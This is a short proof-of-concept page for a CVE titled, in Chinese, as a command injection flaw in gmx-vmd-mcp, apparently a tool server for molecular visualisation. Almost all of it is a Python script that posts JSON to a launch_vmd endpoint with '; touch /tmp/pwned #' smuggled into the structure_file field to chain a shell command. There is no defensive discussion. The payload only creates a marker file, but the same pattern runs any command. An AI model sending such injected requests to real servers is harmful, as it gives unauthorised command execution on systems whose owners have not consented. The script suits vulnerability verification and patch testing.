CVE-2026-7215: gmx-vmd-mcp命令注入漏洞

import requests import json # Target URL (Example) # The exploit targets the endpoint that calls launch_vmd_gui_tool target_url = "http://target-host:port/api/launch_vmd" # Malicious payload to inject a command # This attempts to create a file named 'pwned' in the /tmp directory # The injection uses a semicolon to chain commands command_injection = "; touch /tmp/pwned #" # Construct the payload with the injection in the structure_file parameter payload_data = { "structure_file": f"input.pdb{command_injection}", "trajectory_file": "input.xtc" } headers = { "Content-Type": "application/json" } try: # Send the malicious request response = requests.post(target_url, data=json.dumps(payload_data), headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check if the command was executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")